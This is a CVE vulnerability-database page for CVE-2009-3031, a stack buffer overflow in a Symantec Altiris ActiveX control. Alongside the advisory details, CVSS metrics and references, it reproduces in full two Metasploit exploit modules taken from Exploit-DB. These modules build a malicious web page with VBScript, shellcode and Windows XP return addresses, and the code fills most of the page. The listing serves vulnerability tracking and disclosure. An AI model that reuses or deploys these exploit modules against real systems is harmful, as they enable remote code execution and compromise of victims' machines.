CVE-2009-3031 : Detail

CVE-2009-3031

Overflow
76.85%V4
Network
2009-11-03
15h00 +00:00
2018-10-10
16h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Stack-based buffer overflow in the BrowseAndSaveFile method in the Altiris eXpress NS ConsoleUtilities ActiveX control 6.0.0.1846 in AeXNSConsoleUtilities.dll in Symantec Altiris Notification Server (NS) 6.0 before R12, Deployment Server 6.8 and 6.9 in Symantec Altiris Deployment Solution 6.9 SP3, and Symantec Management Platform (SMP) 7.0 before SP3 allows remote attackers to execute arbitrary code via a long string in the second argument.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metrics Score Severity CVSS Vector Source
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 9853

Publication date : 2009-11-01 23h00 +00:00
Author : Nikolas Sotiriu
EDB Verified : Yes

## # Use it only for education or ethical pentesting! The author accepts no liability for damage caused by this tool. ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'Symantec ConsoleUtilities ActiveX Control Buffer Overflow', 'Description' => %q{ This module exploits a stack overflow in Symantecs ConsoleUtilities. By sending an overly long string to the "BrowseAndSaveFile()" method located in the AeXNSConsoleUtilities.dll (6.0.0.1846) Control, an attacker may be able to execute arbitrary code. }, 'License' => MSF_LICENSE, 'Author' => [ 'Nikolas Sotiriu (lofi)' ], 'Version' => '1.0', 'References' => [ [ 'CVE', '2009-3031'], [ 'URL', 'http://sotiriu.de/adv/NSOADV-2009-001.txt' ], [ 'URL', 'http://www.symantec.com/business/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2009&suid=20091102_00' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 1000, 'BadChars' => "\x00", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP2 Universal', { 'Ret' => 0x77d92acc } ], # USER32.dll JMP ESP [ 'Windows XP SP2 Pro German', { 'Ret' => 0x77D5AF0A } ], # SHELL32.dll JMP ESP [ 'Windows XP SP3 Pro German', { 'Ret' => 0x7E6830D7 } ], # SHELL32.dll JMP ESP ], 'DisclosureDate' => 'Nov 02 2009', 'DefaultTarget' => 0)) end def autofilter false end def check_dependencies use_zlib end def on_request_uri(cli, request) # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) # Randomize variables vname = rand_text_alpha(rand(20) + 1) junk = rand_text_alpha(rand(20) + 1) eip = rand_text_alpha(rand(20) + 1) morejunk = rand_text_alpha(rand(20) + 1) sc = rand_text_alpha(rand(20) + 1) buf = rand_text_alpha(rand(20) + 1) # Set RET and shellcode ret = Rex::Text.to_unescape([target.ret].pack('V')) shellcode = Rex::Text.to_unescape(p.encoded) # Build the Site content = %Q| <html> <object classid='clsid:B44D252D-98FC-4D5C-948C-BE868392A004' id='#{vname}'></object> <script language='vbscript'> arg1 = "" arg3 = "" arg4 = "" arg5 = "" #{junk}=String(310, "A") #{eip}=unescape("#{ret}") #{morejunk}=String(18, unescape("%u0041")) #{sc}=unescape("#{shellcode}") #{buf}=#{junk}+#{eip}+#{morejunk}+#{sc} #{vname}.BrowseAndSaveFile arg1,#{buf},arg3,arg4,arg5 </script> </html> | print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...") # Transmit the response to the client send_response_html(cli, content) # Handle the payload handler(cli) end end
Exploit Database EDB-ID : 16613

Publication date : 2010-11-10 23h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # $Id: symantec_consoleutilities_browseandsavefile.rb 10998 2010-11-11 22:43:22Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'Symantec ConsoleUtilities ActiveX Control Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in Symantecs ConsoleUtilities. By sending an overly long string to the "BrowseAndSaveFile()" method located in the AeXNSConsoleUtilities.dll (6.0.0.1846) Control, an attacker may be able to execute arbitrary code }, 'License' => MSF_LICENSE, 'Author' => [ 'Nikolas Sotiriu (lofi)' ], 'Version' => '$Revision: 10998 $', 'References' => [ [ 'CVE', '2009-3031'], [ 'OSVDB', '59597'], [ 'BID', '36698'], [ 'URL', 'http://sotiriu.de/adv/NSOADV-2009-001.txt' ], [ 'URL', 'http://www.symantec.com/business/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2009&suid=20091102_00' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 1000, 'BadChars' => "\x00", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP3 English', { 'Ret' => 0x7e47bcaf } ], [ 'Windows XP SP2 Universal', { 'Ret' => 0x77d92acc } ], # USER32.dll JMP ESP [ 'Windows XP SP2 Pro German', { 'Ret' => 0x77D5AF0A } ], # SHELL32.dll JMP ESP [ 'Windows XP SP3 Pro German', { 'Ret' => 0x7E6830D7 } ], # SHELL32.dll JMP ESP ], 'DisclosureDate' => 'Nov 02 2009', 'DefaultTarget' => 0)) end def autofilter false end def check_dependencies use_zlib end def on_request_uri(cli, request) # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) # Randomize variables vname = rand_text_alpha(rand(20) + 1) junk = rand_text_alpha(rand(20) + 1) eip = rand_text_alpha(rand(20) + 1) morejunk = rand_text_alpha(rand(20) + 1) sc = rand_text_alpha(rand(20) + 1) buf = rand_text_alpha(rand(20) + 1) # Set RET and shellcode ret = Rex::Text.to_unescape([target.ret].pack('V')) shellcode = Rex::Text.to_unescape(p.encoded) # Build the Site content = %Q| <html> <object classid='clsid:B44D252D-98FC-4D5C-948C-BE868392A004' id='#{vname}'></object> <script language='vbscript'> #{junk}=String(310,"A") #{eip}=unescape("#{ret}") #{morejunk}=String(18, unescape("%u0041")) #{sc}=unescape("#{shellcode}") #{buf}=#{junk}+#{eip}+#{morejunk}+#{sc} #{vname}.BrowseAndSaveFile "",#{buf},"","","" </script> </html> | print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...") # Transmit the response to the client send_response_html(cli, content) # Handle the payload handler(cli) end end

Products Mentioned

Configuraton 0

Symantec>>Altiris_deployment_solution >> Version 6.9

Symantec>>Altiris_deployment_solution >> Version 6.9

Symantec>>Altiris_deployment_solution >> Version 6.9

Symantec>>Altiris_deployment_solution >> Version 6.9

Symantec>>Altiris_management_platform >> Version 7.0

    Symantec>>Altiris_management_platform >> Version 7.0

      Symantec>>Altiris_notification_server >> Version 6.0

        Symantec>>Altiris_notification_server >> Version 6.0

          Symantec>>Altiris_notification_server >> Version 6.0

            Symantec>>Altiris_notification_server >> Version 6.0

              Symantec>>Altiris_notification_server >> Version 6.0

                Symantec>>Altiris_notification_server >> Version 7.0

                  Symantec>>Altiris_notification_server >> Version 7.0

                    References

                    http://www.securityfocus.com/bid/36698
                    Tags : vdb-entry, x_refsource_BID
                    http://www.vupen.com/english/advisories/2009/3117
                    Tags : vdb-entry, x_refsource_VUPEN